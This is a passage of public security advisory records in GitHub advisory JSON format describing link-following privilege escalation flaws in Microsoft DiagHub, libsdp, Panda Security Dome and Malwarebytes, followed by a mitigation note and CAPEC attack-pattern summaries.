"details": "Diagnostics Hub Standard Collector Service Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-28313, CVE-2021-28322.",
"id": "GHSA-mjr6-7m42-xgpp",
"modified": "2022-05-24T17:47:20Z",
"published": "2022-05-24T17:47:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28321"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28321"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162251/Microsoft-DiagHub-Privilege-Escalation.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Apr/40"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJWG-G73C-X345
Vulnerability from github – Published: 2022-05-17 05:45 – Updated: 2022-05-17 05:45The default configuration of libsdp.conf in libsdp 1.1.104 and earlier creates log files in /tmp, which allows local users to overwrite arbitrary files via a (1) symlink or (2) hard link attack on the libsdp.log.##### temporary file.
{
"affected": [],
"aliases": [
"CVE-2010-4173"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-11-22T20:00:00Z",
"severity": "LOW"
},
"details": "The default configuration of libsdp.conf in libsdp 1.1.104 and earlier creates log files in /tmp, which allows local users to overwrite arbitrary files via a (1) symlink or (2) hard link attack on the libsdp.log.##### temporary file.",
"id": "GHSA-mjwg-g73c-x345",
"modified": "2022-05-17T05:45:54Z",
"published": "2022-05-17T05:45:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4173"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=647941"
},
{
"type": "WEB",
"url": "http://www.openfabrics.org/downloads/libsdp/libsdp-1.1.105-0.4.g1b9b996.tar.gz"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2010/11/16/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2010/11/16/7"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MM9P-GQVV-GR69
Vulnerability from github – Published: 2024-12-30 21:30 – Updated: 2024-12-30 21:30Panda Security Dome Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Panda Security Dome. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The specific flaw exists within the Hotspot Shield. By creating a junction, an attacker can abuse the application to delete arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-23478.
{
"affected": [],
"aliases": [
"CVE-2024-13043"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-30T21:15:06Z",
"severity": "HIGH"
},
"details": "Panda Security Dome Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Panda Security Dome. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Hotspot Shield. By creating a junction, an attacker can abuse the application to delete arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-23478.",
"id": "GHSA-mm9p-gqvv-gr69",
"modified": "2024-12-30T21:30:47Z",
"published": "2024-12-30T21:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13043"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1727"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MM9Q-52P2-75V2
Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32Malwarebytes Antimalware Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Malwarebytes Antimalware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The specific flaw exists within the Malwarebytes service. By creating a symbolic link, an attacker can abuse the service to delete a file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-22321.
{
"affected": [],
"aliases": [
"CVE-2024-6260"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T20:15:12Z",
"severity": "HIGH"
},
"details": "Malwarebytes Antimalware Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Malwarebytes Antimalware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Malwarebytes service. By creating a symbolic link, an attacker can abuse the service to delete a file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-22321.",
"id": "GHSA-mm9q-52p2-75v2",
"modified": "2024-11-22T21:32:17Z",
"published": "2024-11-22T21:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6260"
},
{
"type": "WEB",
"url": "https://www.malwarebytes.com/secure/cves"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.